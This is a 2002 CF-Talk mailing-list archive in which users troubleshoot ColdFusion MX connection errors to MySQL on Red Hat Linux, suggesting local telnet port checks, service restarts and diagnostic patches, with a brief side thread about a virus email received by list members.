telnet 127.0.0.1 3306

mike chambers

[EMAIL PROTECTED]

> -Original Message-
> From: Josh [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 5:15 PM
> To: CF-Talk
> Subject: RE: CFMX Server, MySQL woes
>
>
> I am running redhat 7.2...telnet is shut off, I use SSH to
> connect...if I
> try to telnet, the server itself refuses the connection...if
> I try via SSH,
> I get the following error:
>
> bind: Address already in use
> channel_setup_fwd_listener: cannot listen to port: 3306
> Could not request local forwarding.
>
> -Original Message-
> From: Jochem van Dieten [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 2:54 PM
> To: CF-Talk
> Subject: Re: CFMX Server, MySQL woes
>
>
> Josh wrote:
> >
> > ***If I use (local) as the server:
> > []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting
> > to connect: java.sql.SQLException: Cannot connect to MySQL server on
> > (local):3306. Is there a MySQL server running on the
> machine/port you are
> > trying to connect to? (java.net.UnknownHostException).
>
> This is a problem with (local) not being translateable to an IP.
>
>
> > ***If I use localhost as the server I get:
> > []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting
> > to connect: java.sql.SQLException: Server configuration
> denies access to
> > data source.
> > The root cause was that: java.sql.SQLException:
> SQLException occurred in
> > JDBCPool while attempting to connect: java.sql.SQLException: Server
> > configuration denies access to data source.
>
> Can you telnet to the server on port 3306? I don't know how the
> communications startup for MySQL should look, but you should
> be able to
> see the difference between MySQL not listening and MySQL
> denying access
> because you don't follow the communications protocol.
>
>
> > ***If I use 127.0.0.1 as the server I get:
> > []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting
> > to connect: java.sql.SQLException: Server configuration
> denies access to
> > data source.
>
> How about telnet here?
>
>
> > I am using the exact same configuration options as I am in
> CF5 (which
> > works).  MX doesn't accept these options...
>
> Maybe CF5 uses Unix sockets and JDBC uses IP.
>
> Jochem
>
>
>

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Re: war Againest Loneliness

[Ed Gordon]

What is this about attachments? I got no attachment. All the attached
garbage was visible as text, in two parts. Am I missing out on attachments
from this group? (even though it was a good thing this time)

UH-Oh... wait 'til you hear THIS... I uninstalled NAV 2002 and forgot to
install the NAV 2003 - meanwhile, THIS comes in!

Good thing it had no effect on this end... which makes me wonder if others
on the CF list got it with an attachment?

Kinda reminds me of the Salk vs. the Sabin polio vaccines - one dead, the
other capable of inflicting the disease to a few unlucky ones!

HAPPY HOLIDAYS EVERYONE ! ! !  - gotta run to look for the CD !

- Original Message -
From: "Jochem van Dieten" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Monday, December 30, 2002 2:44 PM
Subject: Re: war Againest Loneliness


> Rafael Alan Bleiweiss wrote:
> > That post is exactly why everyone should run Norton Antivirus Corporate
> > edition real-time including email sweeps... and have it update
> > automatically
>
> How about not double clicking on attachments and making sure your email
> client doesn't execute them for you? I'm saving this one for the
> collection, my first Yaha.K :-)
>
> Jochem
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Re: CFMX Server, MySQL woes

[Jochem van Dieten]

Russ wrote:
> 
> I apologize for coming across terse.  After being awake for 30+ hours
> AND trying to deal with these issues, it gets frustrating.
> 
> I meant no flame to you, personally.

That's OK, I'm so used to an asbestos suit it is almost comfortable. And 
I'm not exactly Mister PC either :-)

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

RE: CFMX Server, MySQL woes

[Mike Chambers]

you should be able to ssh in and then run the telnet command from the
server:

telnet 127.0.0.1 3306

mike chambers

[EMAIL PROTECTED]

> -Original Message-
> From: Josh [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 5:15 PM
> To: CF-Talk
> Subject: RE: CFMX Server, MySQL woes
> 
> 
> I am running redhat 7.2...telnet is shut off, I use SSH to 
> connect...if I
> try to telnet, the server itself refuses the connection...if 
> I try via SSH,
> I get the following error:
> 
> bind: Address already in use
> channel_setup_fwd_listener: cannot listen to port: 3306
> Could not request local forwarding.
> 
> -Original Message-
> From: Jochem van Dieten [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 2:54 PM
> To: CF-Talk
> Subject: Re: CFMX Server, MySQL woes
> 
> 
> Josh wrote:
> >
> > ***If I use (local) as the server:
> > []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting
> > to connect: java.sql.SQLException: Cannot connect to MySQL server on
> > (local):3306. Is there a MySQL server running on the 
> machine/port you are
> > trying to connect to? (java.net.UnknownHostException).
> 
> This is a problem with (local) not being translateable to an IP.
> 
> 
> > ***If I use localhost as the server I get:
> > []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting
> > to connect: java.sql.SQLException: Server configuration 
> denies access to
> > data source.
> > The root cause was that: java.sql.SQLException: 
> SQLException occurred in
> > JDBCPool while attempting to connect: java.sql.SQLException: Server
> > configuration denies access to data source.
> 
> Can you telnet to the server on port 3306? I don't know how the
> communications startup for MySQL should look, but you should 
> be able to
> see the difference between MySQL not listening and MySQL 
> denying access
> because you don't follow the communications protocol.
> 
> 
> > ***If I use 127.0.0.1 as the server I get:
> > []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting
> > to connect: java.sql.SQLException: Server configuration 
> denies access to
> > data source.
> 
> How about telnet here?
> 
> 
> > I am using the exact same configuration options as I am in 
> CF5 (which
> > works).  MX doesn't accept these options...
> 
> Maybe CF5 uses Unix sockets and JDBC uses IP.
> 
> Jochem
> 
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: CFMX Server, MySQL woes

[Jochem van Dieten]

Josh wrote:
> I am running redhat 7.2...telnet is shut off, I use SSH to connect...if I
> try to telnet, the server itself refuses the connection...

I mean SSH to the server, log in, start a telnet client on the server 
and try to connect it to 127.0.0.1:3306.

I don't have MySQL at hand, but if I do "telnet 130.161.xxx.xxx 5432" I 
get a connection to PostgreSQL (which will throw a "FATAL: Illegal 
startup packet" error if I throw enough junk at it). However, if I shut 
down PostgreSQL before trying, I get a "Connection failed" error.

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: CFMX Server, MySQL woes

[Russ]

Thanks--

I apologize for coming across terse.  After being awake for 30+ hours
AND trying to deal with these issues, it gets frustrating.

I meant no flame to you, personally.

Russ

> -Original Message-
> From: Jochem van Dieten [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 4:04 PM
> To: CF-Talk
> Subject: Re: CFMX Server, MySQL woes
> 
> 
> Russ wrote:
> > 
> > While that's a wonderful approach, and I'm sure you appreciate the
> > humor, the simple fact is that some of us really don't know all the
> > parts we need to know to set up servers--instead, we rely on
> > documentation, support from others and we make a go of it 
> as best as we
> > can all the while bootstrapping and attempting to learn from the
> > experience.
> > 
> > So, why don't you tell us where those meaningfull errors are.
> 
> In the output from the diagnostic jar file. It should look something 
> like what Josh posted.
> 
> Jochem
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: CFMX Server, MySQL woes

[Rob Rohan]

> some of us really don't know all the
> parts we need to know to set up servers--instead, we rely on
> documentation, support from others and we make a go of it as best as we
> can all the while bootstrapping and attempting to learn from the
> experience.
Unless you know everything or setup the exact same software on the exact
same system over and over I think this applies to those who "know all the
parts" too.

> My second error was when I called back and got a different answer--this
>time from sales.
error 2.5 even listening to anything a salesman says :)

I am a bit worried as well.

(trying for light humor)
Rob

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Re: CFMX Server, MySQL woes

[Christian Cantrell]

Hey, Josh.  Can you email me off-list the information you sent to  
Macromedia support, and I will look into it for you?

Thanks,
Christian

On Monday, December 30, 2002, at 04:34 PM, Josh wrote:

> I am having the same problem...I emailed MM CF Support last Thurs. and  
> still
> have not received a response...
>
> Please let me know if you figure anything out!
>
> Thanks,
>
> Josh
>
> -Original Message-
> From: Russ [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 2:10 PM
> To: CF-Talk
> Subject: CFMX Server, MySQL woes
>
>
> I'm receiving the following error:
>
> Connection verification failed for data source: FasterDesigns
> []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting to connect, please check your username, password, URL, and
> other connectivity info.
> The root cause was that: java.sql.SQLException: SQLException occurred  
> in
> JDBCPool while attempting to connect, please check your username,
> password, URL, and other connectivity info.
>
> This is occurring in the server administration under datasources.   
> We've
> verified the username, password, URL, etc. and all appear to be in
> order.  We're also (obviously) receiving errors from the site:
>
> Error Executing Database Query.
> SQLException occurred in JDBCPool while attempting to connect, please
> check your username, password, URL, and other connectivity info.
>
> And, again, we've verified everything.
>
> The server is running RedHat, and the archives that I have found are
> showing me that this may have happened under NT, but not a resolution.
>
> Does anyone have any thoughts?
>
> Thanks,
>
> Russ
>
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: CFMX Server, MySQL woes

[Josh]

I am running redhat 7.2...telnet is shut off, I use SSH to connect...if I
try to telnet, the server itself refuses the connection...if I try via SSH,
I get the following error:

bind: Address already in use
channel_setup_fwd_listener: cannot listen to port: 3306
Could not request local forwarding.

-Original Message-
From: Jochem van Dieten [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 2:54 PM
To: CF-Talk
Subject: Re: CFMX Server, MySQL woes


Josh wrote:
>
> ***If I use (local) as the server:
> []java.sql.SQLException: SQLException occurred in JDBCPool while
attempting
> to connect: java.sql.SQLException: Cannot connect to MySQL server on
> (local):3306. Is there a MySQL server running on the machine/port you are
> trying to connect to? (java.net.UnknownHostException).

This is a problem with (local) not being translateable to an IP.


> ***If I use localhost as the server I get:
> []java.sql.SQLException: SQLException occurred in JDBCPool while
attempting
> to connect: java.sql.SQLException: Server configuration denies access to
> data source.
> The root cause was that: java.sql.SQLException: SQLException occurred in
> JDBCPool while attempting to connect: java.sql.SQLException: Server
> configuration denies access to data source.

Can you telnet to the server on port 3306? I don't know how the
communications startup for MySQL should look, but you should be able to
see the difference between MySQL not listening and MySQL denying access
because you don't follow the communications protocol.


> ***If I use 127.0.0.1 as the server I get:
> []java.sql.SQLException: SQLException occurred in JDBCPool while
attempting
> to connect: java.sql.SQLException: Server configuration denies access to
> data source.

How about telnet here?


> I am using the exact same configuration options as I am in CF5 (which
> works).  MX doesn't accept these options...

Maybe CF5 uses Unix sockets and JDBC uses IP.

Jochem


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: CFMX Server, MySQL woes

[Mike Chambers]

josh,

can you let me know which email address you mailed? and where you found
it?

thanks...

mike chambers

[EMAIL PROTECTED]

> -Original Message-
> From: Josh [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 4:50 PM
> To: CF-Talk
> Subject: RE: CFMX Server, MySQL woes
> 
> 
> Russ, did this help?
> 
> I did that already...just tells me more info...doesn't resolve.
> 
> I emailed MM via there contact support form, but there's been no
> response...it has been 5 days now...
> 
> Here is a snippet from my post last week:
> 
> ---
> 
> -Original Message-
> From: Josh
> Sent: Thursday, December 26, 2002 12:21 PM
> To: CF-Talk
> Subject: MySQL / MX datasource woes
> 
> Can't get the MySQL connection to work...
> 
> I am running CF5 on the smae server along side the MX 
> standalone, until I
> get MX working properly.
> 
> I downloaded the jrpatch.jar to get more info on the errors 
> and now get the
> following error:
> 
> ***If I use (local) as the server:
> []java.sql.SQLException: SQLException occurred in JDBCPool 
> while attempting
> to connect: java.sql.SQLException: Cannot connect to MySQL server on
> (local):3306. Is there a MySQL server running on the 
> machine/port you are
> trying to connect to? (java.net.UnknownHostException).
> The root cause was that: java.sql.SQLException: SQLException 
> occurred in
> JDBCPool while attempting to connect: java.sql.SQLException: 
> Cannot connect
> to MySQL server on (local):3306. Is there a MySQL server 
> running on the
> machine/port you are trying to connect to? 
> (java.net.UnknownHostException).
> 
> ***If I use localhost as the server I get:
> []java.sql.SQLException: SQLException occurred in JDBCPool 
> while attempting
> to connect: java.sql.SQLException: Server configuration 
> denies access to
> data source.
> The root cause was that: java.sql.SQLException: SQLException 
> occurred in
> JDBCPool while attempting to connect: java.sql.SQLException: Server
> configuration denies access to data source.
> 
> 
> 
> ***If I use 127.0.0.1 as the server I get:
> []java.sql.SQLException: SQLException occurred in JDBCPool 
> while attempting
> to connect: java.sql.SQLException: Server configuration 
> denies access to
> data source.
> The root cause was that: java.sql.SQLException: SQLException 
> occurred in
> JDBCPool while attempting to connect: java.sql.SQLException: Server
> configuration denies access to data source.
> 
> 
> I am using the exact same configuration options as I am in CF5 (which
> works).  MX doesn't accept these options...
> 
> Any Help would be appreciated!
> 
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Re: CFMX Server, MySQL woes

[Jochem van Dieten]

Russ wrote:
> 
> While that's a wonderful approach, and I'm sure you appreciate the
> humor, the simple fact is that some of us really don't know all the
> parts we need to know to set up servers--instead, we rely on
> documentation, support from others and we make a go of it as best as we
> can all the while bootstrapping and attempting to learn from the
> experience.
> 
> So, why don't you tell us where those meaningfull errors are.

In the output from the diagnostic jar file. It should look something 
like what Josh posted.

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: CFMX Server, MySQL woes

[Josh]

Wish I had anything that would help resolve this!

Just getting the same errors as I posted earlier...

-Original Message-
From: Jochem van Dieten [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 2:44 PM
To: CF-Talk
Subject: Re: CFMX Server, MySQL woes


Josh wrote:
> I am having the same problem...I emailed MM CF Support last Thurs. and
still
> have not received a response...

Then you should have some meaningfull errors to share with us now :-)

Jochem


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: CFMX Server, MySQL woes

[Russ]

Jochem,

While that's a wonderful approach, and I'm sure you appreciate the
humor, the simple fact is that some of us really don't know all the
parts we need to know to set up servers--instead, we rely on
documentation, support from others and we make a go of it as best as we
can all the while bootstrapping and attempting to learn from the
experience.

So, why don't you tell us where those meaningfull errors are.

My first error that I received that was meaningful was when I called
customer support to ask if the Linux and MS versions of CFMX came on the
same CD and I had to be transferred 3 times and was on hold for over 15
minutes.

My second error was when I called back and got a different answer--this
time from sales.

My third error was thinking that the documentation would be complete,
but instead, there were some undocumented problems with Redhat 7.2.
Macromedia conviently left out a chunk of instructions that took us and
2 other techs 12 hours to figure out.

So, which errors am I looking for again?  The meaningful ones?

Macromedia, heal thyself; the speculation, the animosity that others are
viewing the products with is starting to rub-off on those of us that are
your biggest supporters.

Russ

> -Original Message-
> From: Jochem van Dieten [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 3:44 PM
> To: CF-Talk
> Subject: Re: CFMX Server, MySQL woes
> 
> 
> Josh wrote:
> > I am having the same problem...I emailed MM CF Support last 
> Thurs. and still
> > have not received a response...
> 
> Then you should have some meaningfull errors to share with us now :-)
> 
> Jochem
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: CFMX Server, MySQL woes

[Jochem van Dieten]

Josh wrote:
> 
> ***If I use (local) as the server:
> []java.sql.SQLException: SQLException occurred in JDBCPool while attempting
> to connect: java.sql.SQLException: Cannot connect to MySQL server on
> (local):3306. Is there a MySQL server running on the machine/port you are
> trying to connect to? (java.net.UnknownHostException).

This is a problem with (local) not being translateable to an IP.


> ***If I use localhost as the server I get:
> []java.sql.SQLException: SQLException occurred in JDBCPool while attempting
> to connect: java.sql.SQLException: Server configuration denies access to
> data source.
> The root cause was that: java.sql.SQLException: SQLException occurred in
> JDBCPool while attempting to connect: java.sql.SQLException: Server
> configuration denies access to data source.

Can you telnet to the server on port 3306? I don't know how the 
communications startup for MySQL should look, but you should be able to 
see the difference between MySQL not listening and MySQL denying access 
because you don't follow the communications protocol.


> ***If I use 127.0.0.1 as the server I get:
> []java.sql.SQLException: SQLException occurred in JDBCPool while attempting
> to connect: java.sql.SQLException: Server configuration denies access to
> data source.

How about telnet here?


> I am using the exact same configuration options as I am in CF5 (which
> works).  MX doesn't accept these options...

Maybe CF5 uses Unix sockets and JDBC uses IP.

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: CFMX Server, MySQL woes

[Russ]

Don't have it yet--sorry.  There's more than just me involved so it's
taking some steps.

When we get it figured out, we'll share it.  You have my word.

> -Original Message-
> From: Josh [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 3:52 PM
> To: CF-Talk
> Subject: RE: CFMX Server, MySQL woes
> 
> 
> What did you change to get it to work? Please share!
> 
> -Original Message-
> From: Russ [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 2:35 PM
> To: CF-Talk
> Subject: RE: CFMX Server, MySQL woes
> 
> 
> We're running with it now--make sure you give MM a call on their
> "customer service" line so you can get one of their survey 
> forms to fill
> out--don't know if it helps, but I've made them well aware of my woes
> with Customer Service alone, so hopefully you can find some
> relief/resolution in that.
> 
> > -Original Message-
> > From: Josh [mailto:[EMAIL PROTECTED]]
> > Sent: Monday, December 30, 2002 3:34 PM
> > To: CF-Talk
> > Subject: RE: CFMX Server, MySQL woes
> >
> >
> > I am having the same problem...I emailed MM CF Support last
> > Thurs. and still
> > have not received a response...
> >
> > Please let me know if you figure anything out!
> >
> > Thanks,
> >
> > Josh
> >
> > -Original Message-
> > From: Russ [mailto:[EMAIL PROTECTED]]
> > Sent: Monday, December 30, 2002 2:10 PM
> > To: CF-Talk
> > Subject: CFMX Server, MySQL woes
> >
> >
> > I'm receiving the following error:
> >
> > Connection verification failed for data source: FasterDesigns
> > []java.sql.SQLException: SQLException occurred in JDBCPool while
> > attempting to connect, please check your username, 
> password, URL, and
> > other connectivity info.
> > The root cause was that: java.sql.SQLException: SQLException
> > occurred in
> > JDBCPool while attempting to connect, please check your username,
> > password, URL, and other connectivity info.
> >
> > This is occurring in the server administration under
> > datasources.  We've
> > verified the username, password, URL, etc. and all appear to be in
> > order.  We're also (obviously) receiving errors from the site:
> >
> > Error Executing Database Query.
> > SQLException occurred in JDBCPool while attempting to 
> connect, please
> > check your username, password, URL, and other connectivity info.
> >
> > And, again, we've verified everything.
> >
> > The server is running RedHat, and the archives that I have found are
> > showing me that this may have happened under NT, but not a 
> resolution.
> >
> > Does anyone have any thoughts?
> >
> > Thanks,
> >
> > Russ
> >
> >
> >
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Re: CFMX Server, MySQL woes

[Jochem van Dieten]

Josh wrote:
> I am having the same problem...I emailed MM CF Support last Thurs. and still
> have not received a response...

Then you should have some meaningfull errors to share with us now :-)

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: CFMX Server, MySQL woes

[Josh]

What did you change to get it to work? Please share!

-Original Message-
From: Russ [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 2:35 PM
To: CF-Talk
Subject: RE: CFMX Server, MySQL woes


We're running with it now--make sure you give MM a call on their
"customer service" line so you can get one of their survey forms to fill
out--don't know if it helps, but I've made them well aware of my woes
with Customer Service alone, so hopefully you can find some
relief/resolution in that.

> -Original Message-
> From: Josh [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 3:34 PM
> To: CF-Talk
> Subject: RE: CFMX Server, MySQL woes
>
>
> I am having the same problem...I emailed MM CF Support last
> Thurs. and still
> have not received a response...
>
> Please let me know if you figure anything out!
>
> Thanks,
>
> Josh
>
> -Original Message-
> From: Russ [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 2:10 PM
> To: CF-Talk
> Subject: CFMX Server, MySQL woes
>
>
> I'm receiving the following error:
>
> Connection verification failed for data source: FasterDesigns
> []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting to connect, please check your username, password, URL, and
> other connectivity info.
> The root cause was that: java.sql.SQLException: SQLException
> occurred in
> JDBCPool while attempting to connect, please check your username,
> password, URL, and other connectivity info.
>
> This is occurring in the server administration under
> datasources.  We've
> verified the username, password, URL, etc. and all appear to be in
> order.  We're also (obviously) receiving errors from the site:
>
> Error Executing Database Query.
> SQLException occurred in JDBCPool while attempting to connect, please
> check your username, password, URL, and other connectivity info.
>
> And, again, we've verified everything.
>
> The server is running RedHat, and the archives that I have found are
> showing me that this may have happened under NT, but not a resolution.
>
> Does anyone have any thoughts?
>
> Thanks,
>
> Russ
>
>
>

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: CFMX Server, MySQL woes

[Josh]

Russ, did this help?

I did that already...just tells me more info...doesn't resolve.

I emailed MM via there contact support form, but there's been no
response...it has been 5 days now...

Here is a snippet from my post last week:

---

-Original Message-
From: Josh
Sent: Thursday, December 26, 2002 12:21 PM
To: CF-Talk
Subject: MySQL / MX datasource woes

Can't get the MySQL connection to work...

I am running CF5 on the smae server along side the MX standalone, until I
get MX working properly.

I downloaded the jrpatch.jar to get more info on the errors and now get the
following error:

***If I use (local) as the server:
[]java.sql.SQLException: SQLException occurred in JDBCPool while attempting
to connect: java.sql.SQLException: Cannot connect to MySQL server on
(local):3306. Is there a MySQL server running on the machine/port you are
trying to connect to? (java.net.UnknownHostException).
The root cause was that: java.sql.SQLException: SQLException occurred in
JDBCPool while attempting to connect: java.sql.SQLException: Cannot connect
to MySQL server on (local):3306. Is there a MySQL server running on the
machine/port you are trying to connect to? (java.net.UnknownHostException).

***If I use localhost as the server I get:
[]java.sql.SQLException: SQLException occurred in JDBCPool while attempting
to connect: java.sql.SQLException: Server configuration denies access to
data source.
The root cause was that: java.sql.SQLException: SQLException occurred in
JDBCPool while attempting to connect: java.sql.SQLException: Server
configuration denies access to data source.



***If I use 127.0.0.1 as the server I get:
[]java.sql.SQLException: SQLException occurred in JDBCPool while attempting
to connect: java.sql.SQLException: Server configuration denies access to
data source.
The root cause was that: java.sql.SQLException: SQLException occurred in
JDBCPool while attempting to connect: java.sql.SQLException: Server
configuration denies access to data source.


I am using the exact same configuration options as I am in CF5 (which
works).  MX doesn't accept these options...

Any Help would be appreciated!


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: CFMX Server, MySQL woes

[Russ]

We're running with it now--make sure you give MM a call on their
"customer service" line so you can get one of their survey forms to fill
out--don't know if it helps, but I've made them well aware of my woes
with Customer Service alone, so hopefully you can find some
relief/resolution in that.

> -Original Message-
> From: Josh [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 3:34 PM
> To: CF-Talk
> Subject: RE: CFMX Server, MySQL woes
> 
> 
> I am having the same problem...I emailed MM CF Support last 
> Thurs. and still
> have not received a response...
> 
> Please let me know if you figure anything out!
> 
> Thanks,
> 
> Josh
> 
> -Original Message-
> From: Russ [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 2:10 PM
> To: CF-Talk
> Subject: CFMX Server, MySQL woes
> 
> 
> I'm receiving the following error:
> 
> Connection verification failed for data source: FasterDesigns
> []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting to connect, please check your username, password, URL, and
> other connectivity info.
> The root cause was that: java.sql.SQLException: SQLException 
> occurred in
> JDBCPool while attempting to connect, please check your username,
> password, URL, and other connectivity info.
> 
> This is occurring in the server administration under 
> datasources.  We've
> verified the username, password, URL, etc. and all appear to be in
> order.  We're also (obviously) receiving errors from the site:
> 
> Error Executing Database Query.
> SQLException occurred in JDBCPool while attempting to connect, please
> check your username, password, URL, and other connectivity info.
> 
> And, again, we've verified everything.
> 
> The server is running RedHat, and the archives that I have found are
> showing me that this may have happened under NT, but not a resolution.
> 
> Does anyone have any thoughts?
> 
> Thanks,
> 
> Russ
> 
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: CFMX Server, MySQL woes

[Josh]

tried that...didn't work for me...Russ?

-Original Message-
From: Rob Rohan [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 2:20 PM
To: CF-Talk
Subject: RE: CFMX Server, MySQL woes


If you are setting it up for the first time, I have found that if you setup
the database then restart the cf service - that error will go away and
you'll have a connection. Don't know why it works.

I.e verify after restarting the service.

Rob

-Original Message-
From: Russ [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 1:10 PM
To: CF-Talk
Subject: CFMX Server, MySQL woes


I'm receiving the following error:

Connection verification failed for data source: FasterDesigns
[]java.sql.SQLException: SQLException occurred in JDBCPool while
attempting to connect, please check your username, password, URL, and
other connectivity info.
The root cause was that: java.sql.SQLException: SQLException occurred in
JDBCPool while attempting to connect, please check your username,
password, URL, and other connectivity info.

This is occurring in the server administration under datasources.  We've
verified the username, password, URL, etc. and all appear to be in
order.  We're also (obviously) receiving errors from the site:

Error Executing Database Query.
SQLException occurred in JDBCPool while attempting to connect, please
check your username, password, URL, and other connectivity info.

And, again, we've verified everything.

The server is running RedHat, and the archives that I have found are
showing me that this may have happened under NT, but not a resolution.

Does anyone have any thoughts?

Thanks,

Russ



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
